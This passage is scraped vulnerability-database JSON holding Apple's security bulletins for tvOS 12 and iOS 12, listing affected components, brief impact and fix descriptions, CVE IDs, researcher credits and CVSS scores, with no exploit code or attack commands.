2019\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV (4th generation)\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2018-4299: Samuel Gro\u03b2 (saelo) working with Trend Micro's Zero Day Initiative\n\nCVE-2018-4323: Ivan Fratric of Google Project Zero\n\nCVE-2018-4328: Ivan Fratric of Google Project Zero\n\nCVE-2018-4358: @phoenhex team (@bkth_ @5aelo @_niklasb) working with Trend Micro's Zero Day Initiative\n\nCVE-2018-4359: Samuel Gro\u00df (@5aelo)\n\nCVE-2018-4360: William Bowling (@wcbowling)\n\nEntry added October 24, 2018\n\n\n\n## Additional recognition\n\n**Assets**\n\nWe would like to acknowledge Brandon Azad for their assistance.\n\n**Core Data**\n\nWe would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance.\n\n**Sandbox Profiles**\n\nWe would like to acknowledge Tencent Keen Security Lab working with Trend Micro's Zero Day Initiative for their assistance.\n\n**SQLite**\n\nWe would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Cary Hartline, Hanming Zhang from 360 Vuclan team, and Zach Malone of CA Technologies for their assistance.\n", "edition": 3, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2019-08-01T04:44:27", "title": "About the security content of tvOS 12 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4361", "CVE-2018-4383", "CVE-2018-4321", "CVE-2018-4425", "CVE-2018-4354", "CVE-2018-4328", "CVE-2018-4358", "CVE-2018-4399", "CVE-2018-4305", "CVE-2018-4323", "CVE-2018-4433", "CVE-2018-4337", "CVE-2018-4407", "CVE-2018-4360", "CVE-2018-4336", "CVE-2018-4345", "CVE-2018-4304", "CVE-2018-4340", "CVE-2018-4299", "CVE-2018-4395", "CVE-2018-4414", "CVE-2018-4197", "CVE-2018-4315", "CVE-2016-1777", "CVE-2018-4318", "CVE-2018-4347", "CVE-2018-4401", "CVE-2018-4343", "CVE-2018-4314", "CVE-2018-4316", "CVE-2018-4306", "CVE-2018-4408", "CVE-2018-4412", "CVE-2018-4363", "CVE-2018-4191", "CVE-2018-4312", "CVE-2018-4203", "CVE-2018-4426", "CVE-2018-4474", "CVE-2018-4317", "CVE-2018-4313", "CVE-2018-4309", "CVE-2018-4331", "CVE-2018-4332", "CVE-2018-5383", "CVE-2018-4359", "CVE-2018-4341", "CVE-2018-4344", "CVE-2018-4126"], "modified": "2019-08-01T04:44:27", "id": "APPLE:HT209107", "href": "https://support.apple.com/kb/HT209107", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-10T17:00:23", "description": "# About the security content of iOS 12\n\nThis document describes the security content of iOS 12.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page. You can encrypt communications with Apple using the [Apple Product Security PGP Key](<https://support.apple.com/kb/HT201601>).\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\n\n\n## iOS 12\n\nReleased September 17, 2018\n\n**Accounts**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A local app may be able to read a persistent account identifier\n\nDescription: This issue was addressed with improved entitlements.\n\nCVE-2018-4322: Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc.\n\n**Auto Unlock**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to access local users AppleIDs\n\nDescription: A validation issue existed in the entitlement verification. This issue was addressed with improved validation of the process entitlement.\n\nCVE-2018-4321: Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc.\n\nEntry added September 24, 2018\n\n**Bluetooth**\n\nAvailable for: iPhone SE, iPhone 6s, iPhone 6s Plus, iPhone 7, iPhone 7 Plus, iPad Mini 4, 12.9-inch iPad Pro 1st generation, 12.9-inch iPad Pro 2nd generation, 10.5-inch iPad Pro, 9.7-inch iPad Pro, iPad 5th generation, and iPod Touch 6th generation\n\nImpact: An attacker in a privileged network position may be able to intercept Bluetooth traffic\n\nDescription: An input validation issue existed in Bluetooth. This issue was addressed with improved input validation.\n\nCVE-2018-5383: Lior Neumann and Eli Biham\n\n**CFNetwork**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4126: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**CoreFoundation**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4412: The UK's National Cyber Security Centre (NCSC)\n\nEntry added October 30, 2018\n\n**CoreFoundation**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4414: The UK's National Cyber Security Centre (NCSC)\n\nEntry added October 30, 2018\n\n**CoreMedia**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An app may be able to learn information about the current camera view before being granted camera access\n\nDescription: A permissions issue existed. This issue was addressed with improved permission validation.\n\nCVE-2018-4356: an anonymous researcher\n\n**CoreText**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2018-4347: Vasyl Tkachuk of Readdle\n\nEntry added October 30, 2018, updated December 13, 2018\n\n**Crash Reporter**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2018-4333: Brandon Azad\n\nEntry added September 24, 2018\n\n**dyld**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to modify protected parts of the file system\n\nDescription: A configuration issue was addressed with additional restrictions.\n\nCVE-2018-4433: Vitaly Cheptsov\n\nEntry updated January 22, 2019\n\n**Grand Central Dispatch**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4426: Brandon Azad\n\nEntry added October 30, 2018\n\n**Heimdal**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4331: Brandon Azad\n\nCVE-2018-4332: Brandon Azad\n\nCVE-2018-4343: Brandon Azad\n\nEntry added October 30, 2018\n\n**iBooks**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Parsing a maliciously crafted iBooks file may lead to disclosure of user information\n\nDescription: A configuration issue was addressed with additional restrictions.\n\nCVE-2018-4355: evi1m0 of bilibili security team\n\nEntry added October 30, 2018\n\n**IOHIDFamily**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4408: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018, updated September 17, 2019\n\n**IOKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to break out of its sandbox\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4341: Ian Beer of Google Project Zero\n\nCVE-2018-4354: Ian Beer of Google Project Zero\n\nEntry added October 30, 2018\n\n**IOKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2018-4383: Apple\n\nEntry added October 30, 2018\n\n**IOMobileFrameBuffer**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2018-4335: Brandon Azad\n\n**IOUserEthernet**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4401: Apple\n\nEntry added October 30, 2018\n\n**iTunes Store**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An attacker in a privileged network position may be able to spoof password prompts in the iTunes Store\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2018-4305: Jerry Decime\n\n**Kernel**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to read restricted memory\n\nDescription: An input validation issue existed in the kernel. This issue was addressed with improved input validation.\n\nCVE-2018-4363: Ian Beer of Google Project Zero\n\n**Kernel**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4336: Brandon Azad\n\nCVE-2018-4337: Ian Beer of Google Project Zero\n\nCVE-2018-4340: Mohamed Ghannam (@_simo36)\n\nCVE-2018-4344: The UK's National Cyber Security Centre (NCSC)\n\nCVE-2018-4425: cc working with Trend Micro's Zero Day Initiative, Juwei Lin (@panicaII) of Trend Micro working with Trend Micro's Zero Day Initiative\n\nEntry added September 24, 2018, updated October 30, 2018\n\n**Kernel**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: An access issue existed with privileged API calls. This issue was addressed with additional restrictions.\n\nCVE-2018-4399: Fabiano Anemone (@anoane)\n\nEntry added October 30, 2018\n\n**Kernel**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An attacker in a privileged network position may be able to execute arbitrary code\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2018-4407: Kevin Backhouse of Semmle Ltd.\n\nEntry added October 30, 2018\n\n**mDNSOffloadUserClient**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4326: an anonymous researcher working with Trend Micro's Zero Day Initiative, Zhuo Liang of Qihoo 360 Nirvan Team\n\nEntry added October 30, 2018\n\n**MediaRemote**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A sandboxed process may be able to circumvent sandbox restrictions\n\nDescription: An access issue was addressed with additional sandbox restrictions.\n\nCVE-2018-4310: CodeColorist of Ant-Financial LightYear Labs\n\nEntry added October 30, 2018\n\n**Messages**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A local user may be able to discover a user\u2019s deleted messages\n\nDescription: A consistency issue existed in the handling of application snapshots. The issue was addressed with improved handling of message deletions.\n\nCVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah M\u00fcr\u015fide \u00d6z\u00fcnenek Anadolu Lisesi - Ankara/T\u00fcrkiye, Mehmet Ferit Da\u015ftan of Van Y\u00fcz\u00fcnc\u00fc Y\u0131l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU)\n\n**Notes**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A local user may be able to discover a user\u2019s deleted notes\n\nDescription: A consistency issue existed in the handling of application snapshots. The issue was addressed with improved handling of notes deletions.\n\nCVE-2018-4352: Utku Altinkaynak\n\nEntry updated October 30, 2018\n\n**Safari**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A local user may be able to discover websites a user has visited\n\nDescription: A consistency issue existed in the handling of application snapshots. The issue was addressed with improved handling of application snapshots.\n\nCVE-2018-4313: 11 anonymous researchers, David Scott, Enes Mert Ulu of Abdullah M\u00fcr\u015fide \u00d6z\u00fcnenek Anadolu Lisesi - Ankara/T\u00fcrkiye, Mehmet Ferit Da\u015ftan of Van Y\u00fcz\u00fcnc\u00fc Y\u0131l University, Metin Altug Karakaya of Kaliptus Medical Organization, Vinodh Swami of Western Governor's University (WGU)\n\n**Safari**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A user may be unable to delete browsing history items\n\nDescription: Clearing a history item may not clear visits with redirect chains. The issue was addressed with improved data deletion.\n\nCVE-2018-4329: Hugo S. Diaz (coldpointblue)\n\n**Safari**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious website may be able to exfiltrate autofilled data in Safari\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2018-4307: Rafay Baloch of Pakistan Telecommunications Authority\n\n**SafariViewController**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Visiting a malicious website may lead to address bar spoofing\n\nDescription: An inconsistent user interface issue was addressed with improved state management.\n\nCVE-2018-4362: Jun Kokatsu (@shhnjk)\n\n**Security**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A local user may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2018-4395: Patrick Wardle of Digita Security\n\nEntry added October 30, 2018\n\n**Security**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An attacker may be able to exploit weaknesses in the RC4 cryptographic algorithm\n\nDescription: This issue was addressed by removing RC4.\n\nCVE-2016-1777: Pepi Zawodsky\n\n**Status Bar**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A person with physical access to an iOS device may be able to determine the last used app from the lock screen\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2018-4325: Brian Adeloye\n\n**Symptom Framework**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to read restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2018-4203: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**Text**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Processing a maliciously crafted text file may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2018-4304: jianan.huang (@Sevck)\n\nEntry added October 30, 2018\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious website may be able to execute scripts in the context of another website\n\nDescription: A cross-site scripting issue existed in Safari. This issue was addressed with improved URL validation.\n\nCVE-2018-4309: an anonymous researcher working with Trend Micro's Zero Day Initiative\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Unexpected interaction causes an ASSERT failure\n\nDescription: A memory consumption issue was addressed with improved memory handling.\n\nCVE-2018-4361: found by OSS-Fuzz\n\nCVE-2018-4474: found by OSS-Fuzz\n\nEntry added September 24, 2018, updated January 22, 2019\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Cross-origin SecurityErrors includes the accessed frame\u2019s origin\n\nDescription: The issue was addressed by removing origin information.\n\nCVE-2018-4311: Erling Alf Ellingsen (@steike)\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2018-4299: Samuel Gro\u03b2 (saelo) working with Trend Micro's Zero Day Initiative\n\nCVE-2018-4323: Ivan Fratric of Google Project Zero\n\nCVE-2018-4328: Ivan Fratric of Google Project Zero\n\nCVE-2018-4358: @phoenhex team (@bkth_ @5aelo @_niklasb) working with Trend Micro's Zero Day Initiative\n\nCVE-2018-4359: Samuel Gro\u00df (@5aelo)\n\nCVE-2018-4360: William Bowling (@wcbowling)\n\nEntry added September 24, 2018, updated October 30, 2018\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious website may cause unexepected cross-origin behavior\n\nDescription: A cross-origin issue existed with iframe elements. This was addressed with improved tracking of security origins.\n\nCVE-2018-4319: John Pettitt of Google\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2018-4316: crixer, Hanming Zhang (@4shitak4) of Qihoo 360 Vulcan Team\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Unexpected interaction causes an ASSERT failure\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2018-4191: found by OSS-Fuzz\n\nEntry added September 24, 2018\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious website may exfiltrate image data cross-origin\n\nDescription: A cross-site scripting issue existed in Safari. This issue was addressed with improved URL validation.\n\nCVE-2018-4345: Jun Kokatsu (@shhnjk)\n\nEntry added September 24, 2018, updated December 13, 2018\n\n**WebKit**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2018-4315: Ivan Fratric of Google Project Zero\n\nCVE-2018-4197: Ivan Fratric of Google Project Zero\n\nCVE-2018-4312: Ivan Fratric of Google Project Zero\n\nCVE-2018-4306: Ivan Fratric of Google Project Zero\n\nCVE-2018-4318: Ivan Fratric of Google Project Zero\n\nCVE-2018-4317: Ivan Fratric of Google Project Zero\n\nCVE-2018-4314: Ivan Fratric of Google Project Zero\n\nEntry added September 24, 2018\n\n\n\n## Additional recognition\n\n**APFS**\n\nWe would like to acknowledge Umang Raghuvanshi for their assistance.\n\nEntry added December 13, 2018\n\n**Assets**\n\nWe would like to acknowledge Brandon Azad for their assistance.\n\n**configd**\n\nWe would like to acknowledge Sabri Haddouche (@pwnsdx) of Wire Swiss GmbH for their assistance.\n\n**Core Data**\n\nWe would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance.\n\n**CoreSymbolication**\n\nWe would like to acknowledge Brandon Azad for their assistance.\n\nEntry added December 13, 2018\n\n**Exchange ActiveSync**\n\nWe would like to acknowledge an anonymous researcher, Jesse Thompson of University of Wisconsin-Madison for their assistance.\n\nEntry updated January 22, 2019\n\n**Feedback Assistant**\n\nWe would like to acknowledge Marco Grassi (@marcograss) of KeenLab (@keen_lab) Tencent working with Trend Micro\u2019s Zero Day Initiative for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Brandon Azad for their assistance.\n\nEntry added December 13, 2018\n\n**Mail**\n\nWe would like to acknowledge Alessandro Avagliano of Rocket Internet SE, Gunnar Diepenbruck, and Zbyszek \u017b\u00f3\u0142kiewski for their assistance.\n\n**MediaRemote**\n\nWe would like to acknowledge Brandon Azad for their assistance.\n\n**Quick Look**\n\nWe would like to acknowledge lokihardt of Google Project Zero for their assistance.\n\nEntry added December 13, 2018\n\n**Safari**\n\nWe would like to acknowledge Marcel Manz of SIMM-Comm GmbH and Vlad Galbin for their assistance.\n\n**Sandbox Profiles**\n\nWe would like to acknowledge Tencent Keen Security Lab working with Trend Micro's Zero Day Initiative for their assistance.\n\n**Security**\n\nWe would like to acknowledge Christoph Sinai, Daniel Dudek (@dannysapples) of The Irish Times and Filip Klubi\u010dka (@lemoncloak) of ADAPT Centre, Dublin Institute of Technology, Horatiu Graur of SoftVision, Istvan Csanady of Shapr3D, Omar Barkawi of ITG Software, Inc., Phil Caleno, Wilson Ding, an anonymous researcher for their assistance.\n\nEntry updated June 24, 2019\n\n**SQLite**\n\nWe would like to acknowledge Andreas Kurtz (@aykay) of NESO Security Labs GmbH for their assistance.\n\n**Status Bar**\n\nWe would like to acknowledge Ju Zhu of Meituan and Moony Li and Lilang Wu of Trend Micro for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Cary Hartline, Hanming Zhang from 360 Vuclan team, Tencent Keen Security Lab working with Trend Micro's Zero Day Initiative, and Zach Malone of CA Technologies for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: September 17, 2019\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-09-17T00:00:00", "type": "apple", "title": "About the security content of iOS 12", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-1777", "CVE-2018-4126", "CVE-2018-4191", "CVE-2018-4197", "CVE-2018-4203", "CVE-2018-4299", "CVE-2018-4304", "CVE-2018-4305", "CVE-2018-4306", "CVE-2018-4307", "CVE-2018-4309", "CVE-2018-4310", "CVE-2018-4311", "CVE-2018-4312", "CVE-2018-4313", "CVE-2018-4314", "CVE-2018-4315", "CVE-2018-4316", "CVE-2018-4317", "CVE-2018-4318", "CVE-2018-4319", "CVE-2018-4321", "CVE-2018-4322", "CVE-2018-4323", "CVE-2018-4325", "CVE-2018-4326", "CVE-2018-4328", "CVE-2018-4329", "CVE-2018-4331", "CVE-2018-4332", "CVE-2018-4333", "CVE-2018-4335", "CVE-2018-4336", "CVE-2018-4337", "CVE-2018-4340", "CVE-2018-4341", "CVE-2018-4343", "CVE-2018-4344", "CVE-2018-4345", "CVE-2018-4347", "CVE-2018-4352", "CVE-2018-4354", "CVE-2018-4355", "CVE-2018-4356", "CVE-2018-4358", "CVE-2018-4359", "CVE-2018-4360", "CVE-2018-4361", "CVE-2018-4362", "CVE-2018-4363", "CVE-2018-4383", "CVE-2018-4395", "CVE-2018-4399", "CVE-2018-4401", "CVE-2018-4407", "CVE-2018-4408", "CVE-2018-4412", "CVE-2018-4414", "CVE-2018-4425", "CVE-2018-4426", "CVE-2018-4433", "CVE-2018-4474", "CVE-2018-5383"], "modified": "2018-09-17T00:00:00", "id": "APPLE:E6562A443B7DE882FE6DB7BD64EBE1E5", "href": "https://support.apple.com/kb/HT209106", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:43:27", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page. You can encrypt communications with Apple using the [Apple Product Security PGP Key](<https://support.apple.com/kb/HT201601>).\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\n\n\n## iOS 12\n\nReleased September 17, 2018\n\n**Accounts**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A local app may be able to read a persistent account identifier\n\nDescription: This issue was addressed with improved entitlements.\n\nCVE-2018-4322: Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc.\n\n**Auto Unlock**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to access local users AppleIDs\n\nDescription: A validation issue existed in the entitlement verification. This issue was addressed with improved validation of the process entitlement.\n\nCVE-2018-4321: Min (Spark) Zheng, Xiaolong Bai of Alibaba Inc.\n\nEntry added September 24, 2018\n\n**Bluetooth**\n\nAvailable for: iPhone SE, iPhone 6s, iPhone 6s Plus, iPhone 7, iPhone 7 Plus, iPad Mini 4, 12.9-inch iPad Pro 1st generation, 12.9-inch iPad Pro 2nd generation, 10.5-inch iPad Pro, 9.7-inch iPad Pro, iPad 5th generation, and iPod Touch 6th generation\n\nImpact: An attacker in a privileged network position may be able to intercept Bluetooth traffic\n\nDescription: An input validation issue existed in Bluetooth. This issue was addressed with improved input validation.\n\nCVE-2018-5383: Lior Neumann and Eli Biham\n\n**CFNetwork**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4126: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\nEntry added October 30, 2018\n\n**CoreFoundation**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4412: The UK's National Cyber Security Centre (NCSC)\n\nEntry added October 30, 2018\n\n**CoreFoundation**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4414: The UK's National Cyber Security Centre (NCSC)\n\nEntry added October 30, 2018\n\n**CoreMedia**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An app may be able to learn information about the current camera view before being granted camera access\n\nDescription: A permissions issue existed. This issue was addressed with improved permission validation.\n\nCVE-2018-4356: an anonymous researcher\n\n**CoreText**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2018-4347: Vasyl Tkachuk of Readdle\n\nEntry added October 30, 2018, updated December 13, 2018\n\n**Crash Reporter**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2018-4333: Brandon Azad\n\nEntry added September 24, 2018\n\n**dyld**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: A malicious application may be able to modify protected parts of the file system\n\nDescription: A configuration issue was addressed with additional restrictions.\n\nCVE-2018-4433: Vitaly Cheptsov\n\nEntry updated January 22, 2019\n\n**Grand Central Dispatch**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4426: Brandon Azad\n\nEntry added October 30, 2018\n\n**Heimdal**\n\nAvailable for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4331: Brandon 